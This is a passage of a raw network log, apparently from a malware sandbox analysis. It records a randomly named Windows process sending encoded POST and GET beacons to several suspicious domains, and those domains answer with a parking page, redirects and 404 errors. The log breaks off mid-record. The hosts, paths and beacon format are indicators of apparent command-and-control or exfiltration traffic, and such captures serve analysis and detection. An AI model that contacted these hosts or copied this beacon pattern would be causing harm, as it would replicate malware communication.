Dec 17, 2024 08:24:51.068139076 CET	471	OUT	GET /cfcv/?rPh=yFDcd28s49uqEHKp5gxZDHehDMkbx8O5HFlFfS4Td0kedo/+sd9J73ZTBpR3wC1xC+DY+jWyDKbAELqR1mf/RFpqWmAJN7Naqf7NuMxlktjiSvXKA5GjZW5lR8Lr/Dnajw==&kVvpD=Bx4T HTTP/1.1 Host: www.969-usedcar02.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Dec 17, 2024 08:24:52.154082060 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 17 Dec 2024 07:24:51 GMT content-type: text/html; charset=utf-8 content-length: 1494 x-request-id: 15213926-21b5-4e11-a91c-e337af67e730 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CxPuwGbXAblLI5H6YbYdON4qTdkZiWWrhmdmFQcwFDUDwDKJbGnZdu3dKihJU81NmCphm6MCf/SyZ7qfZVejAg== set-cookie: parking_session=15213926-21b5-4e11-a91c-e337af67e730; expires=Tue, 17 Dec 2024 07:39:51 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 78 50 75 77 47 62 58 41 62 6c 4c 49 35 48 36 59 62 59 64 4f 4e 34 71 54 64 6b 5a 69 57 57 72 68 6d 64 6d 46 51 63 77 46 44 55 44 77 44 4b 4a 62 47 6e 5a 64 75 33 64 4b 69 68 4a 55 38 31 4e 6d 43 70 68 6d 36 4d 43 66 2f 53 79 5a 37 71 66 5a 56 65 6a 41 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CxPuwGbXAblLI5H6YbYdON4qTdkZiWWrhmdmFQcwFDUDwDKJbGnZdu3dKihJU81NmCphm6MCf/SyZ7qfZVejAg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 17, 2024 08:24:52.154126883 CET	947	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTUyMTM5MjYtMjFiNS00ZTExLWE5MWMtZTMzN2FmNjdlNzMwIiwicGFnZV90aW1lIjoxNzM0NDIwMj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49723	8.136.96.106	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:58.354867935 CET	736	OUT	POST /b6bc/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 204 Connection: close Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/b6bc/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 38 71 70 34 59 68 46 58 67 38 4e 4c 69 32 67 4d 4c 76 76 35 67 6a 6e 6c 50 51 2b 41 66 46 55 6e 4a 49 54 79 4c 4a 61 67 6f 6f 67 78 6b 4e 5a 77 36 30 2b 79 65 52 32 34 54 6c 73 6b 35 47 65 67 57 4a 34 6e 72 41 62 4a 67 43 53 6d 66 66 66 5a 6c 50 59 2b 67 65 2b 52 54 56 30 61 4f 38 71 4f 42 57 74 32 6e 76 41 56 31 70 6d 62 62 6a 49 70 73 58 75 70 6f 67 36 6d 7a 61 36 53 31 56 51 72 6a 76 79 4a 51 44 5a 30 38 47 54 31 69 62 49 2b 6d 62 6d 35 56 46 4c 57 4d 74 74 43 47 66 34 34 54 6a 41 57 4e 43 4f 38 73 4b 66 67 6c 47 32 75 47 51 66 4f 43 50 71 4e 53 7a 57 45 78 71 79 39 59 50 2f 6b 6b 78 73 3d Data Ascii: rPh=8qp4YhFXg8NLi2gMLvv5gjnlPQ+AfFUnJITyLJagoogxkNZw60+yeR24Tlsk5GegWJ4nrAbJgCSmfffZlPY+ge+RTV0aO8qOBWt2nvAV1pmbbjIpsXupog6mza6S1VQrjvyJQDZ08GT1ibI+mbm5VFLWMttCGf44TjAWNCO8sKfglG2uGQfOCPqNSzWExqy9YP/kkxs=
Dec 17, 2024 08:24:59.858557940 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 17 Dec 2024 07:24:59 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/b6bc/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49724	8.136.96.106	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:25:01.028673887 CET	756	OUT	POST /b6bc/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 224 Connection: close Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/b6bc/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 38 71 70 34 59 68 46 58 67 38 4e 4c 77 43 6b 4d 4d 49 62 35 33 54 6e 69 52 67 2b 41 51 6c 55 6a 4a 49 66 79 4c 49 65 77 6f 62 55 78 6c 74 70 77 31 52 65 79 64 52 32 34 62 46 73 68 39 47 65 72 57 4a 39 53 72 46 6a 4a 67 43 47 6d 66 64 33 5a 6c 34 4d 35 67 4f 2b 54 47 46 30 55 4b 38 71 4f 42 57 74 32 6e 75 6c 77 31 70 2b 62 61 53 34 70 74 31 57 71 68 41 36 6e 35 36 36 53 78 56 52 69 6a 76 79 52 51 43 31 53 38 41 58 31 69 66 4d 2b 6d 76 53 36 66 46 4c 51 43 4e 73 57 42 76 46 64 4c 55 63 68 45 52 36 61 6e 4c 2f 61 67 77 48 45 63 79 58 49 42 50 43 6d 53 77 2b 79 30 64 76 56 43 73 76 55 36 6d 37 2f 69 4c 7a 77 79 58 4c 50 51 4d 56 43 37 56 69 58 4b 65 63 6a Data Ascii: rPh=8qp4YhFXg8NLwCkMMIb53TniRg+AQlUjJIfyLIewobUxltpw1ReydR24bFsh9GerWJ9SrFjJgCGmfd3Zl4M5gO+TGF0UK8qOBWt2nulw1p+baS4pt1WqhA6n566SxVRijvyRQC1S8AX1ifM+mvS6fFLQCNsWBvFdLUchER6anL/agwHEcyXIBPCmSw+y0dvVCsvU6m7/iLzwyXLPQMVC7ViXKecj
Dec 17, 2024 08:25:02.518285990 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 17 Dec 2024 07:25:02 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/b6bc/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49725	8.136.96.106	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:25:03.714528084 CET	1773	OUT	POST /b6bc/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1240 Connection: close Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/b6bc/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 38 71 70 34 59 68 46 58 67 38 4e 4c 77 43 6b 4d 4d 49 62 35 33 54 6e 69 52 67 2b 41 51 6c 55 6a 4a 49 66 79 4c 49 65 77 6f 61 73 78 6c 66 68 77 36 51 65 79 63 52 32 34 52 6c 73 67 39 47 65 32 57 4a 46 65 72 46 66 7a 67 42 2b 6d 66 38 58 5a 73 70 4d 35 7a 75 2b 54 65 31 30 56 4f 38 71 66 42 57 39 79 6e 75 31 77 31 70 2b 62 61 51 67 70 39 58 75 71 74 67 36 6d 7a 61 36 67 31 56 51 4c 6a 76 36 76 51 43 42 6b 39 77 33 31 6a 2f 63 2b 6b 36 6d 36 54 46 4c 53 42 4e 73 65 42 76 4a 4f 4c 51 45 74 45 52 2b 67 6e 49 76 61 68 6d 57 2b 59 68 6e 35 58 4f 71 4c 61 69 43 50 30 38 6e 66 63 64 48 69 6c 30 2b 51 30 2b 72 72 39 31 48 79 66 76 52 47 68 42 79 2b 47 70 78 63 59 30 38 43 52 4f 36 61 75 7a 42 76 69 72 4e 33 70 4b 63 4a 50 4e 4a 52 53 4c 43 73 4e 52 72 77 36 61 67 4a 71 48 4c 53 2b 41 78 77 64 54 45 33 6d 72 79 73 73 42 45 50 36 67 45 69 50 42 6d 74 67 4f 61 32 56 76 53 42 4e 6a 44 6b 65 53 4c 4d 5a 7a 61 53 50 45 48 55 43 63 32 65 5a 48 77 30 39 7a 58 61 38 6c 35 63 4b 71 6d 47 61 76 39 41 6e 43 [TRUNCATED] Data Ascii: rPh=8qp4YhFXg8NLwCkMMIb53TniRg+AQlUjJIfyLIewoasxlfhw6QeycR24Rlsg9Ge2WJFerFfzgB+mf8XZspM5zu+Te10VO8qfBW9ynu1w1p+baQgp9Xuqtg6mza6g1VQLjv6vQCBk9w31j/c+k6m6TFLSBNseBvJOLQEtER+gnIvahmW+Yhn5XOqLaiCP08nfcdHil0+Q0+rr91HyfvRGhBy+GpxcY08CRO6auzBvirN3pKcJPNJRSLCsNRrw6agJqHLS+AxwdTE3mryssBEP6gEiPBmtgOa2VvSBNjDkeSLMZzaSPEHUCc2eZHw09zXa8l5cKqmGav9AnC8IDfBlCiD6M0wC5Jzbn9dHxjHSu1xZt1W2BWEIiC2jWYuh3m85dnh/RCM5T95u2wnf8+kgRmxRkwpbzIAuFR0mJdElzRWvgZ8vK6ZfraBEfCpl+EMXZgrnoCSDelX8dLg/d/Pv9yx6gWSmfQuOqZWbmZ2r2l/ytZZ/S6Jd5CMzMArzjxvTGy66LDofQGUFKvdGCYVXoSN6vbNpy228Q49L3yood5DKl/pogwFkaodG/VwNxUxyvLy+ZEVzsxtfTCvC3Za71QTO8awPPyxrZWLYtQ9jFpQftNCknegjSqwQQPi5nrItViEmtiuFDNWI+kpkWteVxdHMkh+Fo1/AxOCVVr25kdArE3G53EKNUcOwRW8BQ1d6vOja0h1gpRQTTFaotfiYTCbOs758U6EvShITuh/c2ZRIDOu5uOjLPcrMd1MvtZeq7+K9bCn0olV5/By36XajqXh5mXKVd03Bgx0/rorsM4BONfGSI2gmBpEmCrflRC424xoGvopHTz6a/oj1vhU+OYmf3bI8pS6j4CXACwcjJY/mrfljShlurrbnWU89CZEF3m7u4Oa8SL0MCPm2c0OM4u0FmsDwN0TScZvIED+oc63g2JvEROdcV8d7EDPKM4/n5vctE9VFdT38WRhC4jCILqNTPcDKTstxhQVb+XubTo+Dm6Vz [TRUNCATED]
Dec 17, 2024 08:25:05.224736929 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 17 Dec 2024 07:25:04 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/b6bc/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49726	8.136.96.106	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:25:06.384931087 CET	468	OUT	GET /b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2lC4HeAxlwjpiSK9Zc7LnKUA0uykY2c1YtOuNjF0odUunu7vTTMkkGOdpFXJ3f6l6FBu5A==&kVvpD=Bx4T HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Dec 17, 2024 08:25:07.905020952 CET	551	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 17 Dec 2024 07:25:07 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2lC4HeAxlwjpiSK9Zc7LnKUA0uykY2c1YtOuNjF0odUunu7vTTMkkGOdpFXJ3f6l6FBu5A==&kVvpD=Bx4T Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49727	69.57.163.64	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:25:13.540319920 CET	745	OUT	POST /9er8/ HTTP/1.1 Host: www.startsomething.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 204 Connection: close Origin: http://www.startsomething.xyz Referer: http://www.startsomething.xyz/9er8/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 2f 32 78 77 5a 6c 65 2b 67 4d 77 73 42 2f 76 4e 38 35 45 71 72 74 2b 74 31 66 73 62 41 4c 4a 57 6a 2b 61 75 45 55 69 70 33 69 30 69 6d 4d 6c 4c 43 38 46 4a 35 68 6c 46 33 61 59 32 33 65 51 2f 57 44 77 54 73 6b 71 6c 75 53 47 34 5a 6d 4d 58 42 47 67 6f 45 6d 5a 75 34 67 38 5a 61 31 34 72 35 70 4a 6c 47 62 74 32 2b 70 31 55 4b 79 59 79 62 35 48 52 65 36 6d 5a 73 37 67 59 52 64 69 54 59 31 51 72 66 6b 51 66 55 63 72 76 79 37 7a 74 49 61 43 76 66 73 67 46 4c 53 42 73 30 4f 66 56 4b 6a 68 48 6b 73 59 42 59 4f 79 43 39 43 71 4b 43 61 6b 61 49 64 64 44 6d 39 43 51 6f 73 33 35 55 51 39 4b 61 44 63 3d Data Ascii: rPh=/2xwZle+gMwsB/vN85Eqrt+t1fsbALJWj+auEUip3i0imMlLC8FJ5hlF3aY23eQ/WDwTskqluSG4ZmMXBGgoEmZu4g8Za14r5pJlGbt2+p1UKyYyb5HRe6mZs7gYRdiTY1QrfkQfUcrvy7ztIaCvfsgFLSBs0OfVKjhHksYBYOyC9CqKCakaIddDm9CQos35UQ9KaDc=
Dec 17, 2024 08:25:14.760078907 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:25:14 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49728	69.57.163.64	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:25:16.203038931 CET	765	OUT	POST /9er8/ HTTP/1.1 Host: www.startsomething.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 224 Connection: close Origin: http://www.startsomething.xyz Referer: http://www.startsomething.xyz/9er8/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 2f 32 78 77 5a 6c 65 2b 67 4d 77 73 54 4f 66 4e 2b 65 77 71 73 4e 2b 79 72 50 73 62 4f 72 4a 53 6a 2f 6d 75 45 56 58 75 33 51 67 69 68 75 74 4c 51 6f 5a 4a 36 68 6c 46 75 71 59 75 35 2b 51 4b 57 44 30 74 73 6c 57 6c 75 53 53 34 5a 6a 77 58 42 57 63 70 46 32 5a 73 68 51 38 62 58 56 34 72 35 70 4a 6c 47 62 34 52 2b 70 74 55 4a 43 6f 79 5a 59 48 57 51 61 6d 61 6b 62 67 59 56 64 69 66 59 31 52 4d 66 67 77 6c 55 65 6a 76 79 2f 33 74 49 4a 61 73 56 73 68 41 42 79 41 53 31 74 47 4e 50 54 52 64 73 71 63 7a 59 39 4f 47 38 30 62 67 59 34 73 63 4c 64 31 6f 6d 2b 71 6d 74 62 71 52 4f 7a 74 36 45 55 4c 5a 73 39 55 64 69 79 61 71 51 45 77 2f 4b 70 50 49 63 70 5a 56 Data Ascii: rPh=/2xwZle+gMwsTOfN+ewqsN+yrPsbOrJSj/muEVXu3QgihutLQoZJ6hlFuqYu5+QKWD0tslWluSS4ZjwXBWcpF2ZshQ8bXV4r5pJlGb4R+ptUJCoyZYHWQamakbgYVdifY1RMfgwlUejvy/3tIJasVshAByAS1tGNPTRdsqczY9OG80bgY4scLd1om+qmtbqROzt6EULZs9UdiyaqQEw/KpPIcpZV
Dec 17, 2024 08:25:17.424590111 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:25:17 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49729	69.57.163.64	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
